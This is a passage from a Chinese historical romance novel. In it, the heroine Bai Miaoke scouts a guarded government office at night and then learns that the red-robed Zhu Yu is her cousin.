于是她眨巴眨巴眼睛,无辜地说:“我自然是跟着陆瑜来的,我舍不得跟他分开,就跟着他一道从京城来了这儿,他在湖州有事要忙便打发我来传信。”
徐阁老也不知有没有信她说的话,若有所思地多看了她两眼,没再说什么,安排她住在了后院,让她就在房内等消息。
徐家占地很大,给白妙可安排的住处也是七拐八拐在徐府深处,她乖乖跟着小厮进了房间。
将人带到,小厮就关门离开了。
听见脚步声走远,白妙可走到门边一推发现他们也没有锁门,看来不是想关着自己,她松了一口气,坐回床边想着后面的计划。
萧恒不知道关在哪儿,也不知道他们用了什么手段能将他给抓起来,应该暂时没有危险,现在最重要的是找到春杏跟戎青他们的下落。
这般想着她有些坐不住了,悄咪咪开了房门溜出院子。
她自己单枪匹马很难将人救出来,但是去看一眼应该还是可以的。
于是白妙可在徐府东绕西绕将近一个时辰才找到一处能去到外面的门,她也不是不能直接飞檐走壁从墙上跑走,只是那样就太容易被发现了。
离开徐府以后白妙可就没什么顾忌了,径直向着府衙方向掠去。
走到府衙附近才发现事情没有想象中那么简单。
附近来来回回巡逻的人一波又一波,将小小的府衙围得像是铁桶一般。
白妙可蹲在一旁的角落里默默观察,滴溜溜的大眼睛死死盯着那边的动静,像是一只正在狩猎的豹子,静静寻找破绽。
过了半刻钟的时间,白妙可终于动了。
她站起来揉了揉发酸的腰,无声地叹了口气,转头往回走了。
实在是这县衙的守卫过分严密了些,她没能找出能蒙混过关的地方,便决定先回去从长计议。
她摸黑溜回徐府,想要原路返回,却在半路的小花园里碰见了一个意料之外的人。
“白姑娘,你怎么在此处?”那人看起来很是惊讶。
白妙可也被这个突然出现的人吓了一跳,来人一身红衣,在月光下墨发如瀑,面白如纸。
白妙可差点以为见鬼了,看到那双眼尾上挑颇具标志性的狐狸眼才认出来,这不是那位竹雨吗?
想起来他之前还帮了她跟陆瑜,替他们治伤包扎,他们却偷偷溜走了,白妙可莫名有些心虚。
在心里祈祷他已经不记得
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之前的事情了,硬着头皮打招呼:“竹雨公子,好久不见啊,你怎么在这儿?”
“这是我家。”竹雨轻飘飘一句话听得白妙可愣在原地。
他似乎还嫌不够,继续问:“白姑娘大晚上不睡觉要做什么?趁机跑路吗?”
“真是记仇。”白妙可小声嘀咕。
“什么?”竹雨笑着问。
白妙可假装无事发生,疑惑地问:“你是徐阁老的…”
犹豫了一下才接着说:“儿子?”
“不是。”竹雨否认。
“那你同阁老什么关系?”白妙可追问。
竹雨却自顾自走到一旁的藤椅上坐了下来,摇着折扇道:“你先告诉我你来这儿做什么?大晚上又出去做什么?”
都已经快入冬的晚上了,这人还要扇扇子,白妙可仗着天黑看不清,白眼都要翻到天上去了。
想了想还是扯了个蹩脚的谎:“我是来找徐阁老帮忙的,晚上睡不着起来逛逛不行啊。”
“找徐老帮忙做什么?我也可以帮你。”竹雨没戳穿她的借口,说着她的话接着问。
白妙可挑眉:“我想找人,你如何帮我?”
“啧,不会是找你那便宜夫君吧。”竹雨的语气听起来莫名有些恨铁不成钢。
白妙可有些摸不着头脑他这奇怪的态度是什么意思,但还是下意识反驳道:“与他无关,是我的小姐妹不见了,我来找她。”
“你还有姐妹?”白妙可觉得竹雨的眼睛好像都亮了。
白妙可有些无语,觉得自己大半夜跟他在这儿聊些牛头不对马嘴的东西纯属浪费时间。
“你要没什么事儿我就走了。”说罢转身就走。
“等一下,你不想知道我的身份了吗?”竹雨坐在原地喊她,自信地摇着扇子等她回头。
白妙可头也不回地摆了摆手,“不想了。”
闻言竹雨再坐不住了,眼看好不容易找到的表妹又要跑了,连忙起身去追。
白妙可懒得管他,一盏茶的功夫就回了给她安排的院子。
她还特意观察了一下左右无人,看来徐家是真没派人看着她,白妙可满意点头,然后倒头就睡。
白妙可准则第一条:今天解决不了的事情就明天解决。
可是第二日她起来去找徐阁老的时候却吃了个闭门羹。
“老爷有事要忙,白姑娘先回吧。”
于是白妙可就被“请”回了住处。
这徐阁老不会出尔反尔不肯帮她了吧?今天要不要抽空去看一下萧恒关在哪儿?把他救出来说不定他们两个人就可以直接闯进府衙救人了。
说干就干,白妙可准备出去救萧恒的时候,院门突然被推开了。
来的不是别人,正是昨晚才见过的竹雨。
今日他换了一身绛红色衣袍,头发束起,总归没有昨夜那么吓人了,白妙可反而感觉有些熟悉。
“你来做什么?”白妙可的计划被打乱,心中有些不爽,开口也就没有那么客气。
“我有事与你说。”吸取之前的教训,竹雨决定开门见山。
“那个,我是你的表兄。”
白妙可:“哈?”